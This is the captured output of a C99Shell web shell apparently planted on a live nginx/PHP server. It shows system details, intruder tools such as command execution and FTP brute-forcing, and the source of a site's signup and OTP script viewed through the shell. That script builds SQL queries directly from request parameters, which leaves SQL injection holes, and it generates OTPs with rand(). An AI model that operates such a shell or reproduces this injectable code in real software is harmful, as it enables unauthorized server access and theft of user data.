!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.18.0. PHP/7.4.29 

uname -a: Linux ip-172-31-23-220 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/   drwxr-xr-x
Free 39.75 GB of 48.28 GB (82.35%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     luckysignup_action.php (2.22 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require("connection.php");
include 
'functions.php';
session_start();

if (
$_REQUEST["otp"]) {
    
$get_otp $_REQUEST["otp"];
    
$user_id $_SESSION['ul_id'];

     
$update "update user_details set status='1',phone_verified='1' where otp='$get_otp' AND user_id='$user_id'"
    
$result1 $con->query($update);

    if (
$result1) {
        
$_SESSION['luckyotp'] = 1;
        
$get_details "SELECT user_id, name, otp FROM user_details WHERE otp='" $get_otp "' AND user_id='$user_id'";
        
$get_details1 mysqli_query($con$get_details) or die("database error:" mysqli_error($con));
        
$count_otp $get_details1->num_rows;
        if (
$count_otp 0) {
            while (
$row $get_details1->fetch_assoc()) {
                
$_SESSION['user_id'] = $row['user_id'];
                
$_SESSION['user_name'] = $row['name'];
                echo 
1;
            }
        } 
    } else {
      echo 
0;      
    }
} else {


    
$name $_POST["name"];
    
$email $_POST["email"];
    
$phone $_POST["phone"];
    
$message $_POST["message"];
    
$_SESSION['luckypopup'] = 1;

// generate OTP
    
$otp rand(100000999999);

    
$check "SELECT email, phone,status FROM user_details WHERE email='" $email "' or phone='".$phone."'";
    
$check mysqli_query($con$check) or die("database error:" mysqli_error($con));
    
$count $check->num_rows;

    if (
$count == 0) {
        
$query "insert into user_details(`name`,`email`,`phone`,`otp`,`message`,`request_status`)
    values('
$name','$email','$phone','$otp','$message','3')";
        
$result $con->query($query);

        
$count $con->affected_rows;
        if (
$count 0) {
            
$userid=$con->insert_id;
            
$messagephone='Dear '.$name.', You have successfully registered with Srishti Campus. Please use OTP '.$otp.' to login to your Srishti Campus account. This OTP can be used only once. Please DO NOT disclose it to anyone.';
            
send_otp_sms($phone,$messagephone,'signup');
            
$_SESSION['ul_id'] = $userid;
            
$_SESSION['luckyotp'] = 0;
            echo 
1;
       
        }
        else {
            echo 
2;
        }
    } else {

        echo 
0;
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0091 ]--